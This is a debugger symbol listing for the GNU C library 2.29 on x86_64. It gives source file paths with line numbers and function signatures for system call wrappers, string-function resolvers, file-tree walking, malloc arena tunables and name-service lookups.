File ../sysdeps/unix/sysv/linux/open64_nocancel.c:
33: int __GI___open64_nocancel(const char *, int, …);

File ../sysdeps/unix/sysv/linux/open_by_handle_at.c:
25: int open_by_handle_at(int, struct file_handle *, int);

File ../sysdeps/unix/sysv/linux/openat64.c:
34: int __libc_openat64(int, const char *, int, …);

File ../sysdeps/unix/sysv/linux/openat64_nocancel.c:
32: int __GI___openat64_nocancel(int, const char *, int, …);

File ../sysdeps/unix/sysv/linux/opensock.c:
28: int __opensock(void);

File ../sysdeps/unix/sysv/linux/pathconf.c:
39: long __pathconf(const char *, int);
280: long __statfs_chown_restricted(int, const struct statfs *);
196: long __statfs_filesize_max(const struct statfs *, int);
132: long __statfs_link_max(const struct statfs *, const char *, int, int);
245: long __statfs_symlinks(int, const struct statfs *);
64: static long distinguish_extX(const char *, int, const struct statfs *);

File ../sysdeps/unix/sysv/linux/pause.c:
26: int __libc_pause(void);

File ../sysdeps/unix/sysv/linux/pause_nocancel.c:
25: int __GI___pause_nocancel(void);

File ../sysdeps/unix/sysv/linux/pkey_mprotect.c:
25: int pkey_mprotect(void *, size_t, int, int);

File ../sysdeps/unix/sysv/linux/poll.c:
26: int __GI___poll(struct pollfd *, nfds_t, int);

File ../sysdeps/unix/sysv/linux/posix_fadvise64.c:
41: int __GI___posix_fadvise64_l64(int, off64_t, off64_t, int);

File ../sysdeps/unix/sysv/linux/posix_fallocate.c:
27: int posix_fallocate(int, __off_t, __off_t);

File ../sysdeps/unix/sysv/linux/posix_fallocate64.c:
29: int __GI___posix_fallocate64_l64(int, __off64_t, __off64_t);

File ../sysdeps/unix/sysv/linux/posix_madvise.c:
23: int posix_madvise(void *, size_t, int);

File ../sysdeps/unix/sysv/linux/ppoll.c:
27: int __GI_ppoll(struct pollfd *, nfds_t, const struct timespec *, const sigset_t *);

File ../sysdeps/unix/sysv/linux/pread64.c:
27: ssize_t __libc_pread64(int, void *, size_t, off64_t);

File ../sysdeps/unix/sysv/linux/preadv64.c:
28: ssize_t __GI_preadv64(int, const struct iovec *, int, off64_t);

File ../sysdeps/unix/sysv/linux/preadv64v2.c:
27: ssize_t preadv64v2(int, const struct iovec *, int, off64_t, int);

File ../sysdeps/unix/sysv/linux/prof-freq.c:
25: int __GI___profile_frequency(void);
25: int __profile_frequency(void);

File ../sysdeps/unix/sysv/linux/pselect.c:
37: int __pselect(int, fd_set *, fd_set *, fd_set *, const struct timespec *, const sigset_t *);

File ../sysdeps/unix/sysv/linux/ptrace.c:
29: long ptrace(enum __ptrace_request, …);

File ../sysdeps/unix/sysv/linux/ptsname.c:
72: int __ptsname_internal(int, char *, size_t, struct stat64 *);
162: int __ptsname_r(int, char *, size_t);
65: char *ptsname(int);

File ../sysdeps/unix/sysv/linux/pwrite64.c:
27: ssize_t __libc_pwrite64(int, const void *, size_t, off64_t);

File ../sysdeps/unix/sysv/linux/pwritev64.c:
28: ssize_t __GI_pwritev64(int, const struct iovec *, int, off64_t);

File ../sysdeps/unix/sysv/linux/pwritev64v2.c:
27: ssize_t pwritev64v2(int, const struct iovec *, int, off64_t, int);

File ../sysdeps/unix/sysv/linux/raise.c:
27: int __GI_raise(int);

File ../sysdeps/unix/sysv/linux/read.c:
24: ssize_t __GI___libc_read(int, void *, size_t);

File ../sysdeps/unix/sysv/linux/read_nocancel.c:
24: ssize_t __GI___read_nocancel(int, void *, size_t);

File ../sysdeps/unix/sysv/linux/readahead.c:
24: ssize_t __readahead(int, off64_t, size_t);

File ../sysdeps/unix/sysv/linux/readonly-area.c:
30: int __readonly_area(const char *, size_t);

File ../sysdeps/unix/sysv/linux/readv.c:
24: ssize_t __GI___readv(int, const struct iovec *, int);

File ../sysdeps/unix/sysv/linux/reboot.c:
26: int reboot(int);

File ../sysdeps/unix/sysv/linux/recv.c:
23: ssize_t __libc_recv(int, void *, size_t, int);

File ../sysdeps/unix/sysv/linux/recvfrom.c:
23: ssize_t __libc_recvfrom(int, void *, size_t, int, __SOCKADDR_ARG, socklen_t *);

File ../sysdeps/unix/sysv/linux/recvmmsg.c:
28: int recvmmsg(int, struct mmsghdr *, unsigned int, int, struct timespec *);

File ../sysdeps/unix/sysv/linux/recvmsg.c:
25: ssize_t __libc_recvmsg(int, struct msghdr *, int);

File ../sysdeps/unix/sysv/linux/rename.c:
26: int rename(const char *, const char *);

File ../sysdeps/unix/sysv/linux/renameat.c:
25: int __GI___renameat(int, const char *, int, const char *);

File ../sysdeps/unix/sysv/linux/renameat2.c:
24: int __GI___renameat2(int, const char *, int, const char *, unsigned int);

File ../sysdeps/unix/sysv/linux/scandir64.c:
23: int __scandir64(const char *, struct dirent64 ***, int (*)(const struct dirent64 *), int (*)(const struct dirent64 **, const struct dirent64 **));

File ../sysdeps/unix/sysv/linux/sched_getaffinity.c:
34: int __GI___sched_getaffinity_new(pid_t, size_t, cpu_set_t *);
56: int __sched_getaffinity_old(pid_t, cpu_set_t *);

File ../sysdeps/unix/sysv/linux/sched_getcpu.c:
28: int sched_getcpu(void);

File ../sysdeps/unix/sysv/linux/select.c:
37: int __GI___select(int, fd_set *, fd_set *, fd_set *, struct timeval *);

File ../sysdeps/unix/sysv/linux/semctl.c:
40: int __new_semctl(int, int, int, …);

File ../sysdeps/unix/sysv/linux/semget.c:
28: int semget(key_t, int, int);

File ../sysdeps/unix/sysv/linux/semop.c:
27: int semop(int, struct sembuf *, size_t);

File ../sysdeps/unix/sysv/linux/semtimedop.c:
27: int semtimedop(int, struct sembuf *, size_t, const struct timespec *);

File ../sysdeps/unix/sysv/linux/send.c:
23: ssize_t __libc_send(int, const void *, size_t, int);

File ../sysdeps/unix/sysv/linux/sendmmsg.c:
28: int __GI___sendmmsg(int, struct mmsghdr *, unsigned int, int);

File ../sysdeps/unix/sysv/linux/sendmsg.c:
25: ssize_t __libc_sendmsg(int, const struct msghdr *, int);

File ../sysdeps/unix/sysv/linux/sendto.c:
23: ssize_t __libc_sendto(int, const void *, size_t, int, __CONST_SOCKADDR_ARG, socklen_t);

File ../sysdeps/unix/sysv/linux/setegid.c:
24: int __GI_setegid(gid_t);

File ../sysdeps/unix/sysv/linux/seteuid.c:
24: int __GI_seteuid(uid_t);

File ../sysdeps/unix/sysv/linux/setgid.c:
24: int __setgid(gid_t);

File ../sysdeps/unix/sysv/linux/setgroups.c:
28: int __GI_setgroups(size_t, const gid_t *);

File ../sysdeps/unix/sysv/linux/setipv4sourcefilter.c:
30: int setipv4sourcefilter(int, struct in_addr, struct in_addr, uint32_t, uint32_t, const struct in_addr *);

File ../sysdeps/unix/sysv/linux/setregid.c:
24: int __setregid(gid_t, gid_t);

File ../sysdeps/unix/sysv/linux/setresgid.c:
24: int __GI___setresgid(gid_t, gid_t, gid_t);

File ../sysdeps/unix/sysv/linux/setresuid.c:
24: int __GI___setresuid(uid_t, uid_t, uid_t);

File ../sysdeps/unix/sysv/linux/setreuid.c:
24: int __setreuid(uid_t, uid_t);

File ../sysdeps/unix/sysv/linux/setrlimit64.c:
37: int __setrlimit64(enum __rlimit_resource, const struct rlimit64 *);

File ../sysdeps/unix/sysv/linux/setsourcefilter.c:
31: int setsourcefilter(int, uint32_t, const struct sockaddr *, socklen_t, uint32_t, uint32_t, const struct sockaddr_storage *);

File ../sysdeps/unix/sysv/linux/setuid.c:
23: int __setuid(uid_t);

File ../sysdeps/unix/sysv/linux/shmat.c:
29: void *shmat(int, const void *, int);

File ../sysdeps/unix/sysv/linux/shmctl.c:
34: int __new_shmctl(int, int, struct shmid_ds *);

File ../sysdeps/unix/sysv/linux/shmdt.c:
28: int shmdt(const void *);

File ../sysdeps/unix/sysv/linux/shmget.c:
28: int shmget(key_t, size_t, int);

File ../sysdeps/unix/sysv/linux/sigaction.c:
42: int __GI___libc_sigaction(int, const struct sigaction *, struct sigaction *);
42: int __libc_sigaction(int, const struct sigaction *, struct sigaction *);

File ../sysdeps/unix/sysv/linux/signalfd.c:
25: int signalfd(int, const sigset_t *, int);

File ../sysdeps/unix/sysv/linux/sigpending.c:
29: int sigpending(sigset_t *);

File ../sysdeps/unix/sysv/linux/sigqueue.c:
26: int __sigqueue(pid_t, int, const union sigval);

File ../sysdeps/unix/sysv/linux/sigstack.c:
27: int sigstack(struct sigstack *, struct sigstack *);

File ../sysdeps/unix/sysv/linux/sigsuspend.c:
24: int __GI___sigsuspend(const sigset_t *);

File ../sysdeps/unix/sysv/linux/sigtimedwait.c:
24: int __GI___sigtimedwait(const sigset_t *, siginfo_t *, const struct timespec *);

File ../sysdeps/unix/sysv/linux/sigwait.c:
23: int __GI___sigwait(const sigset_t *, int *);

File ../sysdeps/unix/sysv/linux/sigwaitinfo.c:
23: int __GI___sigwaitinfo(const sigset_t *, siginfo_t *);

File ../sysdeps/unix/sysv/linux/spawni.c:
424: int __spawni(pid_t *, const char *, const posix_spawn_file_actions_t *, const posix_spawnattr_t *, char * const *, char * const *, int);
121: static int __spawni_child(void *);
312: static int __spawnix(pid_t *, const char *, const posix_spawn_file_actions_t *, const posix_spawnattr_t *, char * const *, char * const *, int, int (*)(const char *, char * const *, char * const *));

File ../sysdeps/unix/sysv/linux/speed.c:
77: int __GI_cfsetispeed(struct termios *, speed_t);
55: int __GI_cfsetospeed(struct termios *, speed_t);
47: speed_t cfgetispeed(const struct termios *);
37: speed_t cfgetospeed(const struct termios *);

File ../sysdeps/unix/sysv/linux/splice.c:
23: ssize_t splice(int, loff_t *, int, loff_t *, size_t, unsigned int);

File ../sysdeps/unix/sysv/linux/statx.c:
25: int statx(int, const char *, int, unsigned int, struct statx *);

File ../sysdeps/unix/sysv/linux/sync_file_range.c:
23: int sync_file_range(int, __off64_t, __off64_t, unsigned int);

File ../sysdeps/unix/sysv/linux/sysctl.c:
27: int __GI___sysctl(int *, int, void *, size_t *, void *, size_t);

File ../sysdeps/unix/sysv/linux/tcdrain.c:
25: int __libc_tcdrain(int);

File ../sysdeps/unix/sysv/linux/tcflow.c:
25: int tcflow(int, int);

File ../sysdeps/unix/sysv/linux/tcflush.c:
25: int tcflush(int, int);

File ../sysdeps/unix/sysv/linux/tcgetattr.c:
33: int __GI___tcgetattr(int, struct termios *);

File ../sysdeps/unix/sysv/linux/tcsendbrk.c:
26: int tcsendbreak(int, int);

File ../sysdeps/unix/sysv/linux/tcsetattr.c:
44: int __tcsetattr(int, int, const struct termios *);

File ../sysdeps/unix/sysv/linux/tee.c:
23: ssize_t tee(int, int, size_t, unsigned int);

File ../sysdeps/unix/sysv/linux/times.c:
24: clock_t __times(struct tms *);

File ../sysdeps/unix/sysv/linux/timespec_get.c:
29: int timespec_get(struct timespec *, int);

File ../sysdeps/unix/sysv/linux/truncate64.c:
28: int __truncate64(const char *, off64_t);

File ../sysdeps/unix/sysv/linux/ttyname.c:
112: char *ttyname(int);
45: static char *getttyname(const char *, const struct stat64 *, int, int *);

File ../sysdeps/unix/sysv/linux/ttyname_r.c:
93: int __ttyname_r(int, char *, size_t);
39: static int getttyname_r(char *, size_t, const struct stat64 *, int, int *);

File ../sysdeps/unix/sysv/linux/umount.c:
25: long __umount(const char *);

File ../sysdeps/unix/sysv/linux/unlockpt.c:
28: int unlockpt(int);

File ../sysdeps/unix/sysv/linux/ustat.c:
48: int __old_ustat(dev_t, struct ustat *);

File ../sysdeps/unix/sysv/linux/utimensat.c:
29: int utimensat(int, const char *, const struct timespec *, int);

File ../sysdeps/unix/sysv/linux/utimes.c:
31: int __utimes(const char *, const struct timeval *);

File ../sysdeps/unix/sysv/linux/versionsort64.c:
24: int __versionsort64(const struct dirent64 **, const struct dirent64 **);

File ../sysdeps/unix/sysv/linux/vmsplice.c:
24: ssize_t vmsplice(int, const struct iovec *, size_t, unsigned int);

File ../sysdeps/unix/sysv/linux/wait.c:
27: pid_t __libc_wait(int *);

File ../sysdeps/unix/sysv/linux/waitid.c:
25: int __waitid(idtype_t, id_t, siginfo_t *, int);

File ../sysdeps/unix/sysv/linux/waitpid.c:
25: __pid_t __GI___waitpid(__pid_t, int *, int);

File ../sysdeps/unix/sysv/linux/waitpid_nocancel.c:
26: __pid_t __GI___waitpid_nocancel(__pid_t, int *, int);

File ../sysdeps/unix/sysv/linux/wordsize-64/../fstatvfs.c:
25: int __fstatvfs(int, struct statvfs *);

File ../sysdeps/unix/sysv/linux/wordsize-64/../statvfs.c:
25: int __statvfs(const char *, struct statvfs *);

File ../sysdeps/unix/sysv/linux/wordsize-64/fxstat.c:
32: int __GI___fxstat(int, int, struct stat *);

File ../sysdeps/unix/sysv/linux/wordsize-64/fxstatat.c:
35: int __GI___fxstatat(int, int, const char *, struct stat *, int);
35: int __fxstatat(int, int, const char *, struct stat *, int);

File ../sysdeps/unix/sysv/linux/wordsize-64/lxstat.c:
32: int __GI___lxstat(int, const char *, struct stat *);

File ../sysdeps/unix/sysv/linux/wordsize-64/xstat.c:
32: int __GI___xstat(int, const char *, struct stat *);

File ../sysdeps/unix/sysv/linux/write.c:
24: ssize_t __GI___libc_write(int, const void *, size_t);

File ../sysdeps/unix/sysv/linux/write_nocancel.c:
24: ssize_t __GI___write_nocancel(int, const void *, size_t);

File ../sysdeps/unix/sysv/linux/writev.c:
24: ssize_t __GI___writev(int, const struct iovec *, int);

File ../sysdeps/unix/sysv/linux/x86/gettimeofday.c:
42: static int (*__gettimeofday_ifunc(void))(struct timeval *, struct timezone *);
27: static int __gettimeofday_syscall(struct timeval *, struct timezone *);

File ../sysdeps/unix/sysv/linux/x86/pkey_get.c:
23: int pkey_get(int);

File ../sysdeps/unix/sysv/linux/x86/pkey_set.c:
23: int pkey_set(int, unsigned int);

File ../sysdeps/unix/sysv/linux/x86/sysconf.c:
31: long __GI___sysconf(int);

File ../sysdeps/unix/sysv/linux/x86/time.c:
27: static time_t __time_syscall(time_t *);
43: static time_t (*time_ifunc(void))(time_t *);

File ../sysdeps/unix/sysv/linux/x86_64/../i386/get_clockfreq.c:
25: hp_timing_t __get_clockfreq(void);

File ../sysdeps/unix/sysv/linux/x86_64/../sched_setaffinity.c:
33: int __GI___sched_setaffinity_new(pid_t, size_t, const cpu_set_t *);
52: int __sched_setaffinity_old(pid_t, const cpu_set_t *);

File ../sysdeps/unix/sysv/linux/x86_64/brk.c:
27: int __brk(void *);

File ../sysdeps/unix/sysv/linux/x86_64/makecontext.c:
57: void __makecontext(ucontext_t *, void (*)(void), int, …);

File ../sysdeps/unix/sysv/linux/x86_64/profil-counter.h:
23: static void __profil_counter(int, siginfo_t *, ucontext_t *);
23: static void __profil_counter_uint(int, siginfo_t *, ucontext_t *);
23: static void __profil_counter_ushort(int, siginfo_t *, ucontext_t *);

File ../sysdeps/unix/sysv/linux/x86_64/sigprocmask.c:
31: int __GI___sigprocmask(int, const sigset_t *, sigset_t *);

File ../sysdeps/unix/sysv/linux/xmknod.c:
31: int __GI___xmknod(int, const char *, mode_t, dev_t *);

File ../sysdeps/unix/sysv/linux/xmknodat.c:
34: int __GI___xmknodat(int, int, const char *, mode_t, dev_t *);

File ../sysdeps/wordsize-64/../../io/fts.c:
518: FTSENT *fts_children(FTS *, int);
257: int fts_close(FTS *);
119: FTS *fts_open(char * const *, int, int (*)(const FTSENT **, const FTSENT **));
310: FTSENT *fts_read(FTS *);
506: int fts_set(FTS *, FTSENT *, int);
984: static FTSENT *fts_alloc(const char *, size_t, FTS *, FTS *);
608: static FTSENT *fts_build(FTS *, int);
1038: static int fts_palloc(size_t, FTS *, FTS *);
1109: static int fts_safe_changedir(int, const char *, FTSENT *, FTSENT *, FTS *);
950: static FTSENT *fts_sort(FTS *, FTSENT *, int);
870: static u_short fts_stat(FTSENT *, int, FTS *);

File ../sysdeps/wordsize-64/../../io/ftw.c:
833: int __new_nftw(const char *, __nftw_func_t, int, int);
854: int __old_nftw(const char *, __nftw_func_t, int, int);
815: int ftw(const char *, __ftw_func_t, int);
242: static int add_object(struct ftw_data *, struct stat *, struct stat *);
477: static int ftw_dir(struct ftw_data *, struct stat *, struct dir_data *);
627: static int ftw_startup(const char *, int, void *, int, int);
227: static int object_compare(const void *, const void *);
378: static int process_entry(struct ftw_data *, struct dir_data *, const char *, size_t, int);

File ../sysdeps/wordsize-64/strtoimax.c:
24: intmax_t strtoimax(const char * restrict, char ** restrict, int);

File ../sysdeps/wordsize-64/strtoumax.c:
24: uintmax_t __GI_strtoumax(const char * restrict, char ** restrict, int);

File ../sysdeps/wordsize-64/wcstoimax.c:
24: intmax_t wcstoimax(const wchar_t * restrict, wchar_t ** restrict, int);

File ../sysdeps/wordsize-64/wcstoumax.c:
24: uintmax_t wcstoumax(const wchar_t * restrict, wchar_t ** restrict, int);

File ../sysdeps/x86/cacheinfo.c:
442: long __cache_sysconf(int);
323: static long handle_amd(int);
259: static long handle_intel(int, const struct cpu_features *);
487: static void init_cacheinfo(void);
128: static long intel_check_word(int, unsigned int, _Bool *, _Bool *, const struct cpu_features *, const struct cpu_features *);

File ../sysdeps/x86/cpu-features.c:
71: static void get_common_indices(unsigned int *, unsigned int *, unsigned int *, unsigned int *, struct cpu_features *);

File ../sysdeps/x86/cpu-tunables.c:
111: void _dl_tunable_set_hwcaps(tunable_val_t *);

File ../sysdeps/x86/dl-get-cpu-features.c:
24: const struct cpu_features *__get_cpu_features(void);

File ../sysdeps/x86/longjmp.c:
31: void __libc_longjmp(struct __jmp_buf_tag *, int);

File ../sysdeps/x86_64/../i386/ldbl2mpn.c:
31: mp_size_t __mpn_extract_long_double(mp_ptr, mp_size_t, int *, int *, long double);

File ../sysdeps/x86_64/dl-tls.c:
39: void *__tls_get_addr_slow(tls_index *);

File ../sysdeps/x86_64/ffs.c:
26: int __GI___ffs(int);

File ../sysdeps/x86_64/ffsll.c:
27: int ffsll(long long);

File ../sysdeps/x86_64/multiarch/ifunc-impl-list.c:
34: size_t __libc_ifunc_impl_list(const char *, struct libc_ifunc_impl *, size_t);

File ../sysdeps/x86_64/multiarch/memchr.c:
29: static void *(*memchr_ifunc(void))(const void *, int, size_t);

File ../sysdeps/x86_64/multiarch/memcmp.c:
29: static int (*memcmp_ifunc(void))(const void *, const void *, size_t);

File ../sysdeps/x86_64/multiarch/memcpy.c:
29: static void *(*__new_memcpy_ifunc(void))(void * restrict, const void * restrict, size_t);

File ../sysdeps/x86_64/multiarch/memcpy_chk.c:
29: static void *(*__memcpy_chk_ifunc(void))(void * restrict, const void * restrict, size_t, size_t);

File ../sysdeps/x86_64/multiarch/memmove.c:
29: static void *(*__libc_memmove_ifunc(void))(void *, const void *, size_t);

File ../sysdeps/x86_64/multiarch/memmove_chk.c:
29: static void *(*__memmove_chk_ifunc(void))(void *, const void *, size_t, size_t);

File ../sysdeps/x86_64/multiarch/mempcpy.c:
33: static void *(*__mempcpy_ifunc(void))(void * restrict, const void * restrict, size_t);

File ../sysdeps/x86_64/multiarch/mempcpy_chk.c:
29: static void *(*__mempcpy_chk_ifunc(void))(void * restrict, const void * restrict, size_t, size_t);

File ../sysdeps/x86_64/multiarch/memrchr.c:
29: static void *(*__memrchr_ifunc(void))(const void *, int, size_t);

File ../sysdeps/x86_64/multiarch/memset.c:
29: static void *(*memset_ifunc(void))(void *, int, size_t);

File ../sysdeps/x86_64/multiarch/memset_chk.c:
29: static void *(*__memset_chk_ifunc(void))(void *, int, size_t, size_t);

File ../sysdeps/x86_64/multiarch/rawmemchr.c:
31: static void *(*__rawmemchr_ifunc(void))(const void *, int);

File ../sysdeps/x86_64/multiarch/sched_cpucount.c:
35: static int (*__sched_cpucount_ifunc(void))(size_t, const cpu_set_t *);

File ../sysdeps/x86_64/multiarch/stpcpy.c:
33: static char *(*__stpcpy_ifunc(void))(char * restrict, const char * restrict);

File ../sysdeps/x86_64/multiarch/stpncpy.c:
31: static char *(*__stpncpy_ifunc(void))(char * restrict, const char * restrict, size_t);

File ../sysdeps/x86_64/multiarch/strcasecmp.c:
31: static int (*__strcasecmp_ifunc(void))(const char *, const char *);

File ../sysdeps/x86_64/multiarch/strcasecmp_l.c:
31: static int (*__strcasecmp_l_ifunc(void))(const char *, const char *, locale_t);

File ../sysdeps/x86_64/multiarch/strcat.c:
29: static char *(*strcat_ifunc(void))(char * restrict, const char * restrict);

File ../sysdeps/x86_64/multiarch/strchr.c:
49: static char *(*strchr_ifunc(void))(const char *, int);

File ../sysdeps/x86_64/multiarch/strchrnul.c:
31: static char *(*__strchrnul_ifunc(void))(const char *, int);

File ../sysdeps/x86_64/multiarch/strcmp.c:
53: static int (*strcmp_ifunc(void))(const char *, const char *);

File ../sysdeps/x86_64/multiarch/strcpy.c:
29: static char *(*strcpy_ifunc(void))(char * restrict, const char * restrict);

File ../sysdeps/x86_64/multiarch/strcspn-c.c:
82: size_t __strcspn_sse42(const char *, const char *);
82: char *__strpbrk_sse42(const char *, const char *);

File ../sysdeps/x86_64/multiarch/strcspn.c:
29: static size_t (*strcspn_ifunc(void))(const char *, const char *);

File ../sysdeps/x86_64/multiarch/strlen.c:
29: static size_t (*strlen_ifunc(void))(const char *);

File ../sysdeps/x86_64/multiarch/strncase.c:
31: static int (*__strncasecmp_ifunc(void))(const char *, const char *, size_t);

File ../sysdeps/x86_64/multiarch/strncase_l.c:
31: static int (*__strncasecmp_l_ifunc(void))(const char *, const char *, size_t, locale_t);

File ../sysdeps/x86_64/multiarch/strncat.c:
29: static char *(*strncat_ifunc(void))(char * restrict, const char * restrict, size_t);

File ../sysdeps/x86_64/multiarch/strncmp.c:
54: static int (*strncmp_ifunc(void))(const char *, const char *, size_t);

File ../sysdeps/x86_64/multiarch/strncpy.c:
29: static char *(*strncpy_ifunc(void))(char * restrict, const char * restrict, size_t);

File ../sysdeps/x86_64/multiarch/strnlen.c:
31: static size_t (*__strnlen_ifunc(void))(const char *, size_t);

File ../sysdeps/x86_64/multiarch/strpbrk.c:
29: static char *(*strpbrk_ifunc(void))(const char *, const char *);

File ../sysdeps/x86_64/multiarch/strrchr.c:
28: static char *(*strrchr_ifunc(void))(const char *, int);

File ../sysdeps/x86_64/multiarch/strspn-c.c:
60: size_t __strspn_sse42(const char *, const char *);

File ../sysdeps/x86_64/multiarch/strspn.c:
29: static size_t (*strspn_ifunc(void))(const char *, const char *);

File ../sysdeps/x86_64/multiarch/strstr.c:
44: static char *(*__libc_strstr_ifunc(void))(const char *, const char *);

File ../sysdeps/x86_64/multiarch/wcschr.c:
31: static wchar_t *(*__wcschr_ifunc(void))(const wchar_t *, wchar_t);

File ../sysdeps/x86_64/multiarch/wcscmp.c:
30: static int (*__wcscmp_ifunc(void))(const wchar_t *, const wchar_t *);

File ../sysdeps/x86_64/multiarch/wcscpy.c:
43: static wchar_t *(*wcscpy_ifunc(void))(wchar_t * restrict, const wchar_t * restrict);

File ../sysdeps/x86_64/multiarch/wcslen.c:
29: static size_t (*__wcslen_ifunc(void))(const wchar_t *);

File ../sysdeps/x86_64/multiarch/wcsncmp.c:
30: static int (*wcsncmp_ifunc(void))(const wchar_t *, const wchar_t *, size_t);

File ../sysdeps/x86_64/multiarch/wcsnlen.c:
49: static size_t (*__wcsnlen_ifunc(void))(const wchar_t *, size_t);

File ../sysdeps/x86_64/multiarch/wcsrchr.c:
28: static wchar_t *(*wcsrchr_ifunc(void))(const wchar_t *, wchar_t);

File ../sysdeps/x86_64/multiarch/wmemchr.c:
31: static wchar_t *(*__wmemchr_ifunc(void))(const wchar_t *, wchar_t, size_t);

File ../sysdeps/x86_64/multiarch/wmemcmp.c:
29: static int (*wmemcmp_ifunc(void))(const wchar_t *, const wchar_t *, size_t);

File ../sysdeps/x86_64/multiarch/wmemset.c:
31: static wchar_t *(*__wmemset_ifunc(void))(wchar_t *, wchar_t, size_t);

File ../sysdeps/x86_64/multiarch/wmemset_chk.c:
29: static wchar_t *(*__wmemset_chk_ifunc(void))(wchar_t *, wchar_t, size_t, size_t);

File ../sysdeps/x86_64/tlsdesc.c:
116: void _dl_tlsdesc_resolve_hold_fixup(volatile struct tlsdesc *, void *);
36: void _dl_tlsdesc_resolve_rela_fixup(volatile struct tlsdesc *, struct link_map *);
137: void _dl_unmap(struct link_map *);

File ../wcsmbs/wcscpy.c:
29: wchar_t *__wcscpy_sse2(wchar_t *, const wchar_t *);

File ../wcsmbs/wcsncmp.c:
30: int __wcsncmp_sse2(const wchar_t *, const wchar_t *, size_t);

File ../wcsmbs/wcsnlen.c:
27: size_t __wcsnlen_sse2(const wchar_t *, size_t);

File ../wcsmbs/wmemcmp.c:
26: int __wmemcmp_sse2(const wchar_t *, const wchar_t *, size_t);

File ./s_ldexp_template.c:
21: double __ldexp(double, int);
21: float __ldexpf(float, int);
21: _Float128 __ldexpf128(_Float128, int);
21: long double __ldexpl(long double, int);

File ./scandir-tail-common.c:
23: int __scandir64_tail(DIR *, struct dirent64 ***, int (*)(const struct dirent64 *), int (*)(const struct dirent64 **, const struct dirent64 **));

File ./strtod_nan_main.c:
33: double __GI___strtod_nan(const char *, char **, char);
33: float __GI___strtof_nan(const char *, char **, char);
33: long double __GI___strtold_nan(const char *, char **, char);

File ./tlsdeschtab.h:
82: void *_dl_make_tlsdesc_dynamic(struct link_map *, size_t);

File ./wcscasecmp.c:
47: int __GI___wcscasecmp_l(const wchar_t *, const wchar_t *, locale_t);

File ./wcsncase.c:
50: int __GI___wcsncasecmp_l(const wchar_t *, const wchar_t *, size_t, locale_t);

File /build/glibc-sPWrSm/glibc-2.29/build-tree/amd64-libc/intl/plural.c:
1113: int __gettextparse(struct parse_args *);

File /build/glibc-sPWrSm/glibc-2.29/build-tree/amd64-libc/misc/stub-syscalls.c:
7: long _no_syscall(void);

File XXX-lookup.c:
56: int __GI___nss_aliases_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_ethers_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_group_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_gshadow_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_hosts_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_netgroup_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_networks_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_passwd_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_protocols_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_publickey_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_rpc_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_services_lookup2(service_user **, const char *, const char *, void **);
56: int __GI___nss_shadow_lookup2(service_user **, const char *, const char *, void **);

File __assert.c:
23: void __assert(const char *, const char *, int);

File __fbufsize.c:
21: size_t __fbufsize(FILE *);

File __flbf.c:
21: int __flbf(FILE *);

File __fpending.c:
21: size_t __fpending(FILE *);

File __fpurge.c:
22: void __fpurge(FILE *);

File __freadable.c:
21: int __freadable(FILE *);

File __freading.c:
21: int __freading(FILE *);

File __fsetlocking.c:
23: int __GI___fsetlocking(FILE *, int);

File __fwritable.c:
21: int __fwritable(FILE *);

File __fwriting.c:
21: int __fwriting(FILE *);

File _i18n_number.h:
28: static char *_i18n_number_rewrite(char *, char *, char *);

File _itoa.c:
459: char *_fitoa_word(unsigned long, char *, unsigned int, int);
163: char *_itoa_word(unsigned long, char *, unsigned int, int);

File _strerror.c:
37: char *__GI___strerror_r(int, char *, size_t);

File a64l.c:
39: long a64l(const char *);

File abort.c:
48: void __GI_abort(void);

File abs.c:
24: int abs(int);

File alloc_buffer_alloc_array.c:
23: void *__GI___libc_alloc_buffer_alloc_array(struct alloc_buffer *, size_t, size_t, size_t);

File alloc_buffer_allocate.c:
24: struct alloc_buffer __GI___libc_alloc_buffer_allocate(size_t, void **);

File alloc_buffer_copy_bytes.c:
26: struct alloc_buffer __GI___libc_alloc_buffer_copy_bytes(struct alloc_buffer, const void *, size_t);

File alloc_buffer_copy_string.c:
26: struct alloc_buffer __GI___libc_alloc_buffer_copy_string(struct alloc_buffer, const char *);

File alloc_buffer_create_failure.c:
23: void __GI___libc_alloc_buffer_create_failure(void *, size_t);

File alloca_cutoff.c:
26: int __GI___libc_alloca_cutoff(size_t);

File allocate_once.c:
24: void *__GI___libc_allocate_once_slow(void **, void *(*)(void *), void (*)(void *, void *), void *);

File alt_digit.c:
72: const char *_nl_get_alt_digit(unsigned int, struct __locale_data *);
97: const wchar_t *_nl_get_walt_digit(unsigned int, struct __locale_data *);
149: int _nl_parse_alt_digit(const char **, struct __locale_data *);
34: static void _nl_init_alt_digit(struct __locale_data *);

File arena.c:
945: void __malloc_arena_thread_freeres(void);
144: void __malloc_fork_lock_parent(void);
180: void __malloc_fork_unlock_child(void);
164: void __malloc_fork_unlock_parent(void);
233: void _dl_tunable_set_arena_max(tunable_val_t *);
234: void _dl_tunable_set_arena_test(tunable_val_t *);
212: void _dl_tunable_set_mallopt_check(tunable_val_t *);
228: void _dl_tunable_set_mmap_threshold(tunable_val_t *);
229: void _dl_tunable_set_mmaps_max(tunable_val_t *);
231: void _dl_tunable_set_perturb_byte(tunable_val_t *);
237: void _dl_tunable_set_tcache_count(tunable_val_t *);
236: void _dl_tunable_set_tcache_max(tunable_val_t *);
238: void _dl_tunable_set_tcache_unsorted_limit(tunable_val_t *);
230: void _dl_tunable_set_top_pad(tunable_val_t *);
232: void _dl_tunable_set_trim_threshold(tunable_val_t *);
279: static void *__failing_morecore(ptrdiff_t);
872: static mstate arena_get2(size_t, mstate);
926: static mstate arena_get_retry(mstate, size_t);
671: static void detach_arena(mstate);
756: static mstate get_free_list(void);
452: static heap_info *new_heap(size_t, size_t);
289: static void ptmalloc_init(void);

File argp-fmtstream.c:
349: int __argp_fmtstream_ensure(struct argp_fmtstream *, size_t);
97: void __argp_fmtstream_free(argp_fmtstream_t);
400: ssize_t __argp_fmtstream_printf(struct argp_fmtstream *, const char *, …);
